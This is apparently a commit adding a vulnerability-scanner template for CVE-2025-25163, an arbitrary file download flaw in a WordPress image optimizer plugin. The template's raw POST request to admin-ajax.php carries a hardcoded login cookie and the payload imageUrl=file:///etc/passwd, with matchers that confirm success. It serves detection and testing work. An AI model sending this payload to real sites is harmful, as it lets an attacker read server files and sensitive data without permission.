Create CVE-2025-25163.yaml

2026-11-07 08:36:19 -10:00 · 2025-08-04 16:24:09 -07:00
1 changed files with 35 additions and 0 deletions
@@ -0,0 +1,35 @@
+id: CVE-2025-25163
+
+info:
+  name: Plugin A/B Image Optimizer Arbitrary File Download
+  author: 0xr2r
+  severity: high
+  description: |
+    The Plugin A/B Image Optimizer plugin for WordPress is vulnerable to Directory Traversal in all versions up to, and including, 3.3. This makes it possible for authenticated attackers, with Subscriber-level access and above, to read the contents of arbitrary files on the server, which can contain sensitive information.
+  tags: wordpress, plugin, file-download, directory-traversal
+  reference:
+    - https://nvd.nist.gov/vuln/detail/CVE-2025-25163
+    - https://www.cvedetails.com/cve/CVE-2025-25163/
+
+http:
+  - raw:
+      - |
+        POST /wp-admin/admin-ajax.php HTTP/1.1
+        Host: {{Hostname}}
+        User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7; rv:135.0) Gecko/20100101 Firefox/135.0
+        Content-Type: application/x-www-form-urlencoded
+        Cookie: wordpress_logged_in=superadmin%7C1740046038%7C1N8xr9D0vHFOPOWEa8SZgQgnMrADwNBlBuy2clxo5pS%7C1e77f848b7d3c4d32746de6c747e981273be0adb56efe08902946257e29284fe
+        Content-Length: 56
+
+        action=ab_save_image_locally&imageUrl=file:///etc/passwd
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: word
+        words:
+          - "wp-content/uploads"
+      - type: regex
+        regex:
+          - "\\\\/wp-content\\\\/uploads\\\\/.*\\\\.gif"